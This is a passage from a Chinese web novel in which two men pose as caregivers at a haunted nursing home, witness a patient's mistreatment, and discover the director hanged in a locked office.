鞋跟踩在水泥地上,“噔噔噔”的声响急促又刺耳,很快消失在走廊尽头,连背影都透着一股强烈的不耐烦。 护工服是疗养院里最常见的那种款式。 沉闷的蓝色,布料粗糙僵硬,还带着一股没散尽的消毒水味。 肖靳言拎起一件抖了抖,眉头几不可见地蹙了一下,似乎对这身行头不太满意。 他瞥向宿珩。 却见对方已经没什么表情地脱了鞋,只穿着白色袜子,踩在冰凉的水泥地上,开始解自己休闲长裤的纽扣。 动作干脆利落,没有丝毫拖沓。 肖靳言的视线,不由自主地滑过他裤腿下露出的那一小截脚踝。 很细,骨骼的形状清晰分明。 肤色也比常人要白上几分,在房间昏暗的光线下,像冷调的白瓷。 再往上,是包裹在合身长裤下,笔直匀称的腿部线条。 肖靳言的喉结微不可察地滚动了一下。 心底像被什么羽毛扫过,痒了一下,又很快消失。 可惜,没等他看得更清楚。 宿珩已经迅速套上了那条宽大的蓝色护工长裤,松垮的裤腿彻底遮住了刚才那片引人遐思的风景。 宿珩换好裤子,又开始解上衣的扣子。 很快,他也换好了那件同样蓝色的护工短袖上衣。 他慢条斯理地扣上最后一颗纽扣,才抬眼看向肖靳言。 发现这人还站在原地没动,手里依旧拎着那件皱巴巴的护工服。 “你不换吗?”宿珩问。 肖靳言这才回过神,“换,当然换。” 他说着,便当着宿珩的面,直接脱掉了身上的黑色冲锋衣。 宿珩的余光瞥见他脱衣的动作。 却没看清他袖口里那柄总是随身携带的黑色短刀,究竟在何时、以何种方式被他藏匿了起来。 仿佛那柄锋利的武器,本就是他身体的一部分,可以随意隐现。 肖靳言随手将冲锋衣扔在床上,露出手腕一块精致的灰色腕表,然后踢掉脚上的短靴,伸手去解自己的皮带扣。 宿珩的目光,不自觉地下垂,落在了对方被深色布料包裹着的身上。 宿珩瞳孔微缩。 不禁想起了沿路过来时,从车窗外看到的京郊的……山。 但他很快神色不自然地挪开了目光。 肖靳言察觉到他的视线,解皮带的动作顿了顿。 他的眉梢高高挑起,压低了声音,语气里带着点故意的戏谑,像是在分享什么不得了的秘密。 “19。” 宿珩的表情有那么一两秒的凝滞。 他似乎在消化这两个数字代表的含义。 几秒后,他才面不改色地移开视线,目光投向墙壁上剥落的墙皮。 同时淡淡吐出两个字:“不大。” 肖靳言脸上的笑容更深了,眉毛挑得更高,像是听到了什么极有意思的评价。 低笑了两声,他三两下换好了护工服,还特意活动了一下手脚,感受着身上这套略显廉价的衣物。 “嗯,勉强合身。” 两人换好衣服,走出逼仄的护工室。 走廊里依旧昏暗。 只有尽头那扇蒙着厚厚灰尘的窗户,透进几缕微弱的天光,勉强驱散了少许浓重的阴霾。 他们朝着楼梯口的方向走去。 一楼的房间,大多都上了锁。 铜质的锁头锈迹斑斑,上面积着厚厚一层灰尘,显然已经很久没有人打开过了。 整个一楼,安静得可怕,透着一股死气沉沉的荒凉感。 刚踏上通往二楼的楼梯,还没走到一半,一阵女人骂骂咧咧的声音就从楼上传了下来,尖锐刺耳,穿透力极强。 “……烦死了!一个个都跟废物一样,吃喝拉撒都要老娘伺候!” “自己女儿都嫌弃,扔到这鬼地方等死,凭什么要我来受这份罪!” “工资给那么点,屁事倒是一大堆……真他妈倒了八辈子霉!” “这破地方怎么还不倒闭!” 是刘晓花的声音,充满了难以抑制的怨气和刻薄。 宿珩和肖靳言对视一眼,脚下未停,继续向上走。 二楼的光线比一楼还要暗淡,走廊里弥漫的气味也更加复杂难闻。 201室的房门虚掩着,留着一道缝隙。 刘晓花的抱怨声正是从里面断断续续传出来的。 两人走到门前,肖靳言伸手推开了门。 刚一进门,一股更加浓重的尿骚味混合着刺鼻药水味便扑面而来,几乎令人窒息。 房间里光线极差。 厚重的窗帘拉着大半,只勉强透进一丝灰蒙蒙的光。 靠窗的那张老旧病床上,躺着一个女人。 女人看起来四十多岁,但瘦得惊人,几乎只剩下一把骨头包着一层蜡黄的皮。 脸颊深深凹陷下去,颧骨高耸,脸色是长期不见阳光的那种惨白,没有一丝血色。 头发干枯得像是一蓬杂草,凌乱地散落在脏污的枕头上。 面对刘晓花的辱骂,她只是双眼紧闭,眼皮薄得甚至能看到底下青色的血管。 她的胸口只剩下微弱的起伏,呼吸浅得几乎难以察觉森*晚*整*理,仿佛随时都会停止呼吸。 看样子,是瘫痪在床很久了,完全失去了活动能力。 刘晓花正一脸嫌恶地站在床边。 手上戴着厚厚的一次性橡胶手套,正十分粗鲁地给女人换着身下垫着的尿布。 她的动作毫无温柔可言,甚至带着几分刻意的粗暴,像是对待一件令人厌恶的垃圾,而不是一个活生生的人。 女人似乎因为她的动作而感到了不适。 眉头痛苦地紧紧皱了起来,干裂的嘴唇翕动着,喉咙里发出几声极其细微的呻/吟。 她似乎想睁开眼睛,却连这点力气都没有。 宿珩无声地看着。 却注意到,一滴浑浊的眼泪,顺着女人眼角干涩的皮肤,无声地滑落,隐没在鬓角凌乱的发丝里。 第46章 第 46 章 福山疗养院2 刘晓花随手将那团污秽不堪的东西, 甩进墙角的铁皮垃圾桶。 一声空洞的闷响,在寂静的病房里格外刺耳。 她直起身,动作粗鲁地扯掉一次性手套, 又扔进桶里。 目光这才转向门口杵着的两个男人。 她上下扫视着两人,眼神里的嫌弃几乎要溢出来,最后抬手指向宿珩。 “你去打点热水过来, 待会儿我要给这老东西,好好擦擦身子……都快馊了。” 宿珩面色不变,目光在狭小逼仄的病房里快速扫过。 墙角立着一个半旧的塑料水桶。 桶里还晃荡着小半桶浑浊不堪的脏水, 散发着一股难闻的气味。 “开水房在哪儿?”他问。 刘晓花正粗暴地拉扯着床上女人骨瘦如柴的胳膊, 试图给她翻身。 听到问话, 她头也没抬,语气恶劣地回了句:“厕所旁边, 自己没长眼睛啊?” 宿珩没再多问,走过去拎起那个散发着恶臭的水桶。 桶柄黏糊糊的,触感令人不适。 他刚转过身,刘晓花的声音又追了过来, 带着一种不容置疑的命令, 还有点阴阳怪气的强调。 “对了, 水打烫点儿!” “越烫越好!” 宿珩脚步微顿, 拎着水桶的手指几不可察地收紧了些。 他没回头,只从喉咙里发出一个极轻的音节, 算是听到了。 他走后,刘晓花像是才想起还有一个人杵在那里碍眼, 又扭头看向肖靳言,语气更加不善。 “还有你,别杵这儿当门神了!” “去三楼, 把徐医生叫下来,就说201的宋明丽该换药了!” 肖靳言脸上没什么表情,只点了点头,转身也走出了病房。 宿珩顺着阴暗潮湿的走廊往里走。 尽头就是厕所。 刚靠近,一股浓烈刺鼻的氨水味混合着霉味就扑面而来,熏得人头晕。 厕所里光线昏暗,墙壁和地面都覆盖着一层厚厚的黄黑色污垢,角落里还堆着不明垃圾。 唯一的水龙头也锈迹斑斑。 宿珩拧开水龙头,冰冷的水柱流出。 他先将桶里的脏水倒进污浊的水池。 然后拿起旁边一个毛都快掉光的破刷子,沾了水,仔仔细细地将水桶内壁刷了好几遍,直到看不见明显的污渍才停手。 开水房就在厕所隔壁,是一个更小的隔间,只有一个孤零零的热水龙头,不断冒着白汽。 宿珩拧开龙头,滚烫的热水哗哗流出。 他只接了小半桶,便关上龙头。 然后重新回到厕所,打开冷水龙头,往桶里兑了差不多一半的冷水。 白色的水汽氤氲而上。 他伸出手指试了试水温,大概四十多度,温热,用来擦身正好,绝不至于烫伤。 做完这些,他才拎着这大半桶的干净温水往回走。 走廊依旧幽暗寂静,只有他脚步踩在水泥地上的轻微回声。 路过203房间时—— 宿珩眼角的余光忽然瞥见,那扇斑驳的木门,不知何时被拉开了一条细细的缝隙。 缝隙后面,一双浑浊又带着惊惧的眼珠,正骨碌碌地转动着,偷偷朝外窥视。 那眼神里全是恐惧,像在在看什么极度可怕的东西。 宿珩的目光扫过去。 几乎是同时,那双眼睛猛地缩了回去,门缝也“啪嗒”一声迅速合拢,再无声息。 宿珩脚步没停,心里却大致有了数。 根据肖靳言路上所说—— 瘫痪的女人,院子里的老太太和干瘦老头,加上203里那个惊弓之鸟…… 四个病人齐了。 倒是护工刘晓花……她的状态很不对劲。 宿珩回想起她刚才吩咐自己打热水时,那不经意间流露出的恶意。 她似乎完全没意识到自己身处的环境早已不是现实中的疗养院。 要么,是她的认知出现了偏差,还以为自己只是在正常工作。 要么……她已经被这扇“心门”的力量,在某种程度上同化了,成为了这扭曲空间的一部分。 宿珩拎着水桶回到201病房。 肖靳言还没回来。 刘晓花正叉着腰站在床边,嘴里依旧骂骂咧咧地数落着床上毫无反应的女人。 看见宿珩进来,她立刻把火气撒了过来。 “磨磨蹭蹭干什么吃的!还不快把水拿过来!” 她边骂着,边劈手夺过宿珩手里的水桶,动作粗暴得让桶里的水都晃出来不少。 刘晓花看也不看,转身从旁边长满锈斑的铁架子上,扯下一条颜色发灰,散发着霉味的毛巾,直接扔进桶里。 她伸手进水里胡乱搅了两下,正准备把毛巾捞出来拧干。 下一秒,她的动作倏地顿住。 脸上的不耐烦和刻薄瞬间被怒火取代。 她霍然抬起头,瞪向宿珩,声音陡然拔高,尖锐得刺耳。 “你这打的什么水?!” “我不是让你打烫一点的吗?这点温度能擦干净什么?!” 她像是被点燃了引线的炮仗,眼看就要彻底炸开。 就在这时,门口传来了脚步声。 肖靳言高大的身影出现在门口,他身后还跟着一个穿着白大褂,戴着眼镜的年轻男人。 男人看起来二十七八岁,面容清秀,但脸色苍白得厉害,眼神也有些涣散,像是受到了极大的惊吓,整个人都透着一股魂不守舍的恍惚。 正处于暴怒边缘的刘晓花,像被人掐住了脖子,声音戛然而止。 她脸上的怒气以肉眼可见的速度褪去,转而变得有些僵硬,甚至带着几分小心翼翼的讨好。 她扯了扯嘴角,挤出一个难看的笑容。 “徐……徐医生,你来了。” 那个被称为“徐医生”的年轻男人似乎没听到她的招呼。 目光呆滞地扫过房间,最后落在病床上那个气若游丝的女人身上。 他嘴唇动了动,却没发出任何声音。 刘晓花看着徐医生这副失魂落魄的样子,眼底闪过一丝慌乱,但很快又被不耐烦取代。 她不敢对徐医生发火,只能把气撒在宿珩和肖靳言身上。 “行了行了,这里没你俩的事了!” “徐医生要给病人换药检查,都出去等着,别在这儿碍眼!” 宿珩没什么表情,转身就走。 肖靳言跟在他身后,在走出房门时,反手将病房的门轻轻带上。 走廊光线昏暗。 宿珩停下脚步,侧头看向身旁的肖靳言,声音压得很低:“那个医生,什么情况?” 肖靳言也侧过头,微微俯身凑近他耳边,声音放轻,带着低沉的笑意。 “他啊,总算开窍了。” “知道自己待的地方,不是他原来上班那个疗养院了。” 宿珩瞥了他一眼,眼神中带着狐疑。 肖靳言继续用只有两人能听到的音量,慢悠悠地解释。 “我上三楼找他的时候,这位徐医生正拿桌子椅子把门堵得死死的。” “他把自己反锁在值班室里,抱着脑袋喊……有鬼啊……都是假的,死活不肯开门。” 肖靳言摊了摊手,语气里带着点儿做作的无奈。 “没办法,病人等着换药呢。” “我只好……稍微用了点其他方式,说服他开门,然后‘友好地’请他下来配合工作。” 宿珩闻言,眼皮抬了抬,似乎早料到他会这样。 什么友好…… 以这家伙的行事风格—— 八成是直接把人家办公室的门给拆了,才把人从里面“请”了出来吧? 肖靳言话音刚落。 两人身后的201病房门内,隐约传来一声女人压抑痛苦的低呼。 那声音沙哑,像是从紧绷的喉咙里勉强挤出来的,很快又被吞没在死寂里。 宿珩侧耳捕捉着那细微的动静,眉心微蹙。 他偏头看向肖靳言,问:“你觉得,她……会是这扇‘心门’的主人吗?” 那股弥漫在整个疗养院的绝望,孤独和被遗弃感,似乎在那个瘫痪女人身上体现得最为浓重。 肖靳言摸了摸下巴,脸上那点不正经的笑意敛去几分,神情变得审慎。 “不好说……”他摇摇头,“还得再看看。” 就在两人低声交谈时,楼梯口传来了缓慢而沉重的脚步声。 一步一顿,带着老人特有的迟缓和费力。 出现的人是先前在院子里遇到的那位胖老太太。 她正小心翼翼地搀扶着那个瘦削干瘪的老头,一步一步,慢慢地挪上二楼。 老太太的胳膊用力地架着老头的腋下,几乎将他大半个身子都吊着,花白的头发下,额角渗出细密的汗珠,呼吸也有些急促。 老头则几乎是将全身的重量都挂在她身上,双脚拖沓着,发出沙沙的摩擦声,眼神空洞无神。 但老太太脸上依旧挂着那副乐呵呵的笑容。 看到站在201门口的宿珩和肖靳言,她停下脚步,喘了几口粗气。 随后朝着紧闭的房门方向努了努嘴,重重叹了口气。 “唉,可怜呐,宋妹子……” 她摇着头,语气里满是唏嘘,“这才四十多岁,就瘫在床上动都动不了,遭罪哦!” “成天就那么躺着,跟活死人似的,换谁谁受得了。” “听说她那个女儿,名牌大学毕业,出息得很,就是太忙了,忙工作,一年到头也难得来看一次。” “你说这叫什么事儿?就把亲妈一个人孤零零丢在这地方等死……” 老太太絮絮叨叨地说着,话锋忽然一转,脸上又漾开那种带着点炫耀的得意,连声音都轻快了不少。 “不像我们家那俩孩子!” 她骄傲地拍了拍身旁胡旺祖的胳膊,嗓门也高了些。 “儿子闺女都孝顺!要不是我拦着,恨不得天天往这儿跑!” “前几天刚送来一箱进口牛奶,今天又打电话问缺不缺水果。” “我好说歹说,才让他们答应,每周……每周来一次就够了,别耽误他们自己的事儿。” 她说着,又侧头去问那呆呆傻傻的老头,语气温柔得像是哄小孩:“旺祖啊,你说是不是这个理儿?” 胡旺祖像是没听清,又像是反应迟钝,眼神依旧空洞地望着前方。 他嘴巴无意识地动了动,含混地“唔”了一声,光这一个简单的字节,就让口水顺着嘴角流了下来,沾湿了脖子上的口水巾。 杨桂芬也不在意,熟练地从兜里掏出自己的旧手帕,仔细地给他擦了擦嘴角和下巴。 宿珩安静地听着,目光在老太太那过于灿烂的笑容和老头空洞的眼神间转了一圈。 他忽然开口问道:“阿婆,您儿子女儿……下次什么时候过来?” 杨桂芬像是被按了某个开关,想也不想就脱口而出,语气肯定又带着期待。 “每周三啊!雷打不动,准时得很!” 宿珩在心里默默算了算。 今天是周二。 那就是明天。 杨桂芬没再多说,搀扶着胡旺祖,颤巍巍地走向隔壁的202房间。 疗养院特意给他们老两口安排了个双人间,方便互相照应。 房门被推开的瞬间,门轴发出不堪重负的“吱呀”声,刺耳难听。 透过那道不算宽的门缝,宿珩眼尖地瞥见—— 房间靠墙的地上,还有那个掉了漆的旧柜子上,密密麻麻堆满了各种花花绿绿的盒子。 全是各种“营养品”、“保健品”、“进口零食”的包装盒。 花哨的颜色和图案与房间的陈旧灰暗格格不入,堆得像小山一样高,几乎占据了房间里所有空余的角落。 老太太扶着老头刚走进房间没两分钟,又乐呵呵地走了出来。 她脸上带着满足的笑容,脚步都轻快了些,仿佛刚才搀扶老头上楼的疲惫一扫而空。 这回她手里捧着一个印着小熊图案的铁皮饼干盒,献宝似的递到两人面前。 盒子上的小熊图案已经有些褪色模糊,边缘也磕碰得有些掉漆,露出底下暗色的铁皮。 “来来来,小伙子,尝尝这个!” 她脸上的笑容热情又真诚,眼睛都眯成了一条缝。 “这是我儿子特意从国外给我带回来的,可好吃了!” 宿珩看着那有些掉漆的铁皮盒子,礼貌拒绝:“谢谢阿婆,但院里有规定,我们不能随便吃病人的东西。” “哎呀,客气啥!” “这肯定是王院长说的吧?别听他那个死脑筋的,偶尔吃一次,他还能吃了你不成啊?” 老太太却不由分说,自顾自地伸手去抠那铁皮盖子,热情得让人无法拒绝。 “尝尝,尝尝嘛,这可是好东西,平时我都不舍得拿出来。” 盖子似乎有点紧,又或许是边缘生锈了,她手指用力,指甲都有些泛白,费了好大劲儿才“嘭”地一声打开。 然而—— 盒子里面,空空如也。 铁皮内壁干干净净,别说饼干了,连一点饼干碎屑都没有。 老太太脸上的笑容僵了一下,那瞬间的错愕和茫然,清晰地写在她脸上。 随即她像是猛地想起了什么,用力一拍自己的脑门。 “哎哟!瞧我这记性!” 她懊恼不已,但很快脸上的笑容又重新堆了起来,只是看起来多少有些勉强。 “这盒饼干……我昨天给吃完了……就剩个空盒子忘了扔了!” “实在不好意思啊,年纪大了,记性也越来越差了!” 她把空盒子随手放在走廊靠墙的窗台上,挨着一排积了灰的空花盆。 又转身对两人说:“你们等等啊,我再去给你们找点别的吃的,我闺女上次拿来的那个进口水果糖,也不知道放哪儿了……” 她一边说着,一边又转身急匆匆地回了202房间。 宿珩和肖靳言站在原地没动。 很快,他们就听到从202房间里,传来一阵翻箱倒柜的悉悉索索声。 还伴随着老太太低低的、带着困惑的自言自语。 “咦?怎么盒子全空了,这么快都吃完了……” “旺祖啊,你是不是又偷吃了?跟你说了多少次,这些好东西要省着点吃……” “唉,算了算了……等明天,明天让儿子多带点过来……” “那孩子,就是孝顺,我说什么他都记着……” 嘀嘀咕咕的声音,渐渐低了下去,最终只剩下含糊不清的念叨。 第47章 第 47 章 福山疗养院3 杨桂芬絮絮叨叨的声音消失在门后, 202房间的门也慢慢合拢。 走廊里只剩下宿珩和肖靳言两人,还有那股挥之不去的阴冷气息。 几分钟后,201的病房门被重新拉开。 徐医生走了出来。 他脸色比刚才更加苍白, 像糊了一层不均匀的腻子,嘴唇也毫无血色。 一丝若有似无,混杂着消毒水和某种……东西开始腐烂的酸腐气味, 从他身上那件不太合身的白大褂上散发出来。 很淡,却足够清晰,钻入鼻腔时, 令人胃里隐隐作呕。 刘晓花紧跟着出来, 脸上勉强挂着对医生的客气。 “辛苦您了, 徐医生。” 她说着,视线转向宿珩和肖靳言, 又恢复了那种不耐烦的神气。 “诶,你们两个,过来搭把手……” “等等。” 徐林致忽然开口。 他的声音有些发飘,像是绷紧的弦, 但语气却带着一种近乎神经质的坚持。 他拦住了刘晓花, 目光转向宿珩和肖靳言。 “你们……跟我来一下。” “我有点事情, 需要交代。” 刘晓花脸上的表情瞬间凝固。 她狐疑地上下打量着徐林致, 眼神里闪过一丝困惑和不易察觉的不悦。 又瞥了瞥门口站着的宿珩和肖靳言,似乎想从他们脸上看出点什么。 但她最终没说什么, 只是不太情愿地“哦”了一声,目送着徐医生带着那两个新来的护工, 朝楼梯口走去。 三人沉默着踏上通往三楼的楼梯。 楼梯间的气味更加浑浊,光线也愈发昏暗。 刚走到三楼走廊,宿珩的目光便落在了走廊上的值班室。 更准确地说, 是值班室原本应该有门的地方。 现在那里……只剩下一个黑黢黢的,形状不规则的洞口。 整个门框连同门板,都不翼而飞。 洞口边缘的墙体上,还残留着被暴力拉扯出的新鲜豁口,碎裂的木头茬子参差不齐地支棱着。 宿珩脚步顿了顿,用眼角余光扫了一眼身旁的肖靳言。 对方脸上没什么多余的表情,仿佛只是上来叫个人,顺手拆个门而已。 宿珩面无表情地收回视线。 这家伙……下手还真是一点不含糊。 他心里,竟对那个看起来惊魂未定的徐医生,莫名生出了一丝……微妙的同情。 徐林致领着他们,穿过那个被暴力破坏的门洞,走进了值班室。 值班室不大,地面都是碎木屑,一片狼藉,陈设也简单得可怜。 一张靠墙的行军折叠床,床单皱巴巴地堆在上面。 一张旧书桌,上面放着一台屏幕积灰的台式电脑。 旁边还有一个半高的木头书柜,一半塞满了医学相关的书籍,另一半则乱七八糟地堆放着各种瓶瓶罐罐的药品和医用耗材。 空气里弥漫着一股尘封的霉味和消毒水混合的气息。 徐林致走到墙角的水池边,拧开水龙头。 冰冷的水流哗哗冲下。 他拿起一块边缘发黑的药皂,一遍又一遍,极其用力地搓洗着双手。 指关节都因为用力而泛白。 泡沫被冲走,又重新搓起,反复了好几遍,像是要洗掉一层看不见的污垢。 “随便坐吧。” 过了好半晌,他一边用纸巾用力擦拭着湿淋淋的手,一边低声说。 声音依旧有些虚弱发颤,但比起刚才在楼下那副魂不守舍的模样,似乎镇定了不少。 大概是肖靳言不久前那“友好”的劝说,起了点作用。 至少让他认清了现实—— 他已经不在现实中了,而是被卷入了一个荒唐诡谲的世界。 徐林致从口袋里掏出自带的小瓶酒精喷雾,对着自己双手正反面仔仔细细喷了一遍,又反复揉搓干了。 肖靳言这才慢悠悠地走到书桌前,拉开那张吱呀作响的木头椅子坐下。 他手指在布满划痕的桌面上,有节奏地轻轻叩击着。 问徐林致:“你对这家疗养院,了解多少?” 徐林致脸上露出一丝苦涩,他收好酒精喷雾,双手紧张地交握在身前。 大概是想起了这两天的恐怖经历,他的指尖还在微微发抖。 “我……其实了解得不多。” 他声音艰涩,“我是两天前的上午,才刚到这里报到的实习生。” “但一进来,我就觉得不对劲。” 他回忆着,脸色又难看了几分,像是想起了什么可怕的事情。 “那天外面明明……明明是阴天,还飘着小雨,天色很暗。” “可一走进疗养院的大门,天就变成了这种……灰蒙蒙的鬼样子。” “一点风都没有,闷得人喘不过气。” “我对这里的人和事,几乎一无所知。” 徐林致摇了摇头,眼神里是掩饰不住的恐惧。 “而且……一到晚上,这里就特别吓人。” 他声音压得更低,带着神经质的颤抖。 “总能听到一些奇怪的声音……有时候是哭声,断断续续的,就在走廊里飘……” “有时候是脚步声,很轻,像有人穿着那种软底鞋,在你门外……来来回回地走……” “还有……还有敲门声……” “所以我才……才吓得把门堵上,躲在里面不敢出来。” 肖靳言听完,敲击桌面的手指停了下来。 他抬眼看着徐林致,“院长呢?” 徐林致茫然地摇头:“没有……我从进来就没见过院长。” “他的办公室就在隔壁,中间隔着一间资料室。我去敲过门,但一直没人响应,我还以为他出去了。” 肖靳言闻言,那双黑沉的眸子中略过一抹凝肃。 他忽然站起身,二话不说就朝外走去。 宿珩看他这架势,心里大概知道他要干什么,同样默默跟了上去。 路过资料室后,就能看到院长办公室的门,门牌上的字迹有些模糊了。 门关得紧紧的,上面还挂着一把老式的铜锁头。 肖靳言走到门前,看都没看门锁,直接抬起长腿,对着门锁的位置,就是干脆利落的一脚! 动作流畅,力道十足。 “砰——!” 一声沉闷又刺耳的巨响。 老旧的木质门板,连同门框,应声向内爆裂开来! 木屑混合着灰尘,簌簌飞溅。 宿珩站在他身后一步远的地方,看着那摇摇欲坠的破门,眉心不禁剧跳了一下。 这家伙…… 是跟门有仇吗? 怎么看见门就想踹? 肖靳言大概是猜到了他想说什么,坦然道:“个人习惯,这样比较节省时间。” 宿珩:“……” 徐林致:“……” 门被踹开的瞬间。 一股难以形容的浓烈腐臭味,如同实质般扑面而来,熏得人几欲作呕。 门内光线晦暗。 一道摇摇晃晃的人影,从门后透了出来,悬在半空中。 宿珩瞳孔微缩。 肖靳言脸上的表情也立即收敛,眼神沉了下来。 跟在最后的徐林致更是发出一声短促的惊叫,双腿一软,差点瘫倒在冰冷的地面上,幸好扶住了墙才没让自己摔倒。 他脸上最后一丝血色也褪得干干净净,只剩下死灰。 只见那间同样陈旧破败的办公室里。 一个穿着深色西裤和白色衬衫,约莫五十多岁的男人,用一根棕色的皮带,将自己吊死在了天花板上那台老旧吊扇的挂钩上。 他的身体因为门被踹开带起的微弱气流,正幅度极小地,左右摇摆着。 一摇一晃。 像一个沉默而老旧的钟摆。 …… 那股浓郁的腐臭味,几乎是争先恐后地从门内涌出。 黏腻得像是有形之物,直往人鼻腔里钻。 宿珩眉心蹙起,下意识抬起手背,掩住了口鼻。 “他不是自杀。” 他的声音隔着手背,有些发闷,语气却很肯定。 肖靳言站在他身侧,锐利的目光扫过门内悬挂摇晃的尸体,沉声附和。 “嗯,不像。” 徐林致扶着冰冷的墙壁,脸色白得吓人,嘴唇哆嗦着,几乎站立不稳。 他强忍着声音里的颤抖,问:“那是谁……谁杀了他?这里的人都是老弱病残,谁能杀了他,还伪装成自杀的样子?” 宿珩摇了摇头,“不知道。” 这三个字……霎时间让徐林致眼中的恐惧变得更深。 这时,肖靳言侧过头,瞥了一眼惊魂未定的徐林致,声音平稳地说道:“你自己想想,一个决意自杀的人,是怎么把自己从外面锁在办公室里的?” 这话像一根针,彻底戳破了徐林致紧绷的神经。 他猛然瞪大了眼睛,难以置信地看向那扇只剩下残破门框的院长办公室。 随即视线又不受控制地飘向不远处,那间同样失去了门板,黑洞洞的值班室。 他想起自己用桌椅死死抵住门板,在无边恐惧中度过的夜晚。 如果院长不是自杀…… 那凶手…… 难道……是晚上那些…… 不、不可能! 徐林致只觉得喉咙干涩得厉害,艰难地吞咽了一下,一股寒意从脊椎骨窜起,浑身都开始不受控制地发冷。 深夜那几声缓慢却富有节奏的敲门声,此时不受控制地疯狂挤进他的脑海,甚至在耳边形成了幻听。 他不禁想……自己要是没锁门,没用桌椅挡住,死的人会不会是自己? 宿珩没有理会徐林致。 相较而言,他的心理承受能力已经算是不错的了。 至少……还能保持几分冷静。 宿珩忍着那股几乎要渗入骨髓的恶臭,迈步走进了办公室。 “啪嗒。” 他伸手,摸索着拍开了墙壁上的开关。 头顶老旧的白炽灯挣扎着闪烁了几下,终于亮了起来。 惨白的光线毫无保留地倾泻而下,将整个办公室照得一片惨淡。 那具悬挂在吊扇挂钩上的尸体,在白光的映照下,青紫的脸色和凸出的眼球显得愈发狰狞可怖。 随着进出带起轻微的气流晃动,影子在墙壁上拉长又缩短,像个沉默的鬼影。 宿珩的目光快速扫过办公室。 陈设简单,一张办公桌,一个文件柜,几把椅子,都蒙着一层灰。 最后,他的视线落在那张积满灰尘的办公桌上。 他径直走过去,伸手去拉书桌的抽屉。 最上面的抽屉上了锁,但锁芯很松,轻轻一别就开了,里面空空如也。 第二个抽屉里也只有些零散的办公用品,笔,回形针,还有半瓶干涸的墨水。 当他拉开最下面的一个抽屉时,一个蓝色的硬皮文件夹映入眼帘。 宿珩伸手将其取出,拂去上面的灰尘,慢慢打开。 里面是一沓厚厚的纸张,纸页边缘已经有些泛黄发脆,看起来有些年份了。 是一份来访人员登记表。 他快速翻阅着。 登记表记录得很潦草,但还算清晰。 最早的记录,可以追溯到七年前。 表格上,一个名叫“宋倩”的名字,几乎每隔一周就会出现一次,很规律。 与之一同出现的,还有“胡文庭”和“胡文月”这两个名字,同样是每周一次。 他们来访的时间,无一例外,都登记在周三。 最近的一次记录,就在一周前。 依旧是这三个人,依旧是周三。 宿珩合上文件夹,缓缓念出这三个人名,随后抬头看向还僵在门口的徐林致,问他:“你对这三个名字,有印象吗?” 徐林致茫然地摇了摇头,显然对这些名字一无所知。 “没听过。” 但他像是突然想起了什么,连忙补充道: “我……来报到之前,王院长……也就是他。” 徐林致艰难地抬手指了指那具尸体,“他跟我简单提过一句疗养院病人的情况。” “他说,201室住着一个瘫痪的单亲母亲,叫宋明丽。” “202室是一对老夫妻,老太太叫杨桂芬,她老伴叫胡旺祖,好像有健忘症和老年痴呆。” “还有一个……精神不太正常的男人,无儿无女,是社区那边送过来的,没有正式的名字,只有一个外号,叫老根儿。住在……好像是203?” 听完徐林致的话,登记表上那三个频繁出现的名字,身份差不多呼之欲出。 宋倩,应该就是201室那位瘫痪在床的宋明丽的女儿。 而胡文庭和胡文月,十有八九,便是202室那对老夫妻,杨桂芬和胡旺祖的儿女。 肖靳言摸着下巴,眼神里多了点琢磨的意味,他看向宿珩。 “有点意思……那位杨阿婆,不是才跟我们念叨,说宋明丽的女儿一年到头也难得来看她一次,把亲妈丢这儿等死吗?” 这话听起来确实有些矛盾。 登记表上每周一次的探访记录,和杨桂芬的说法,明显对不上。 不过…… 联想到杨桂芬之前那番关于空饼干盒的混乱说辞,以及她面对胡旺祖时那种近乎自我催眠的乐观。 她的精神状态和记忆力,似乎确实不怎么可靠。 宿珩将那个蓝皮文件夹拿在手里,看向肖靳言。 “他怎么办?” 肖靳言的目光在那具尸体上停留了几秒,神色看不出什么波澜。 “暂时先这样,别动他,等过了今晚,看看情况再说。” 三人随即退出了这间充斥着死亡气息和腐臭的办公室。 肖靳言走到那扇破烂不堪的门前。 甚至还伸出手,象征性地扶了扶那几乎要掉下来的门框,试图将它“关”上。 “好歹挡一挡。” 他嘟囔了一句。 只是那门框早已变形,根本无法合拢。 他这个动作,反倒显得有几分此地无银三百两的滑稽。 宿珩没理会他的举动,只淡淡说:“先下去吧。” 徐林致看了一眼自己那间原本一直待着的值班室,如今同样门户大开,此刻显得格外阴森。 他又看了看隔壁这间刚刚发现尸体的院长办公室。 只觉得这三楼阴风阵阵,一刻也不想多待。 他连忙跟上宿珩和肖靳言的脚步,一边下楼,一边面露为难地问道:“那……那个,两位……” “今晚,我们住哪里?” 肖靳言闻言,脚步一顿,转过身。 他居高临下地看着徐林致,那眼神活像领地被侵犯的猛兽,上下打量着徐林致,语气带着几分夸张的警惕。 “我们晚上住护工房,就两张床。” “你难不成还想跟我们挤一张床?” 徐林致被他看得头皮发麻,嘴角不受控制地抽动了一下。 求生欲瞬间拉满。 他立刻摆手,语速飞快地解释。 “不不不,我不是那个意思!” “我记得……护工房旁边,好像还有一个空着的小杂物间,虽然小了点,但我晚上在那里随便凑合一晚就行了!” “绝对不会打扰到两位!” 听到这话,森*晚*整*理肖靳言脸上的“敌意”才慢慢消散。 取而代之的,是一种近似于“孺子可教”的满意神情。 他点了点头,仿佛大发慈悲般地说道。 “嗯,那最好不过了。” 而宿珩却仿佛没听出来他话里的意思,沉默地下楼。 第48章 第 48 章 福山疗养院4 三人从楼上下来, 重新回到二楼。 走廊里空荡荡的,只能听见他们三人的脚步声。 刘晓花已经不在201病房,房间里的宋明丽似乎已经沉沉睡了过去。 肖靳言抬手看了眼腕表, 指针已经指向下午五点多。 天色依旧是那种一成不变的灰蒙,压抑得让人喘不过气。 不过,确实到了该吃晚饭的时间了。 他侧头问徐林致:“这里有食堂吗?” 徐林致点点头, 脸色依旧不太好。 “一楼有,就在楼梯口另一边,不过……我没见过有做饭的人。” “去看看。” 肖靳言言简意赅, 率先迈步。 三人下了楼, 在楼梯口另一侧, 果然找到了食堂的入口。 一股混杂着食物馊味和陈年油垢的酸腐气,从半掩的门缝里飘散出来。 推开门, 食堂空间还算宽敞。 里面摆着六张表面油污不堪的,四人位连椅桌。 肖靳言目光掠过这些桌子,径直走向后厨。 灶台上锅碗瓢盆倒是齐全,只是每一件都蒙着一层厚厚的、黏腻的灰, 像是许久没人动过。 墙边的调料架上, 酱油醋盐等瓶瓶罐罐东倒西歪, 有的瓶口还沾着凝固的黑色污渍, 散发着古怪的气味。 角落里立着一个半人高的旧冰柜,发出低沉的嗡嗡响声。 